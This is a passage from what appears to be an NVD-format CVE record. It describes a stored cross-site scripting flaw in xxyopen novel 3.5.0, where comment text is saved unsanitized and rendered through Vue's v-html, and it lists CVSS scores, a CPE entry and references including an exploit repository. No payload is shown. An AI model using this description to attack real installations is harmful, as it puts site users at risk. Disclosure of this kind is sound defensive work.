The vulnerability arises from insufficient validation and encoding of user-controllable data in the book comment module: unfiltered user input is stored in the backend database (book_comment table, commentContent field) and returned via API, then rendered directly into the page DOM via Vue 3's v-html directive without sanitization. Even if modern browsers' built-in XSS filters block pop-up alerts, attackers can use concealed payloads to bypass interception and achieve actual harm."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xxyopen:novel:3.5.0:*:*:*:*:*:*:*", "matchCriteriaId": "A899EE05-0A1A-4DB1-92F9-F7892B60638F"}]}]}], "references": [{"url": "https://github.com/201206030/novel", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/201206030/novel-front-web", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/zero-day348/DOM-based-Cross-Site-Scripting-XSS-Vulnerability-in-novel-V3.5.0-CWE-79-", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}
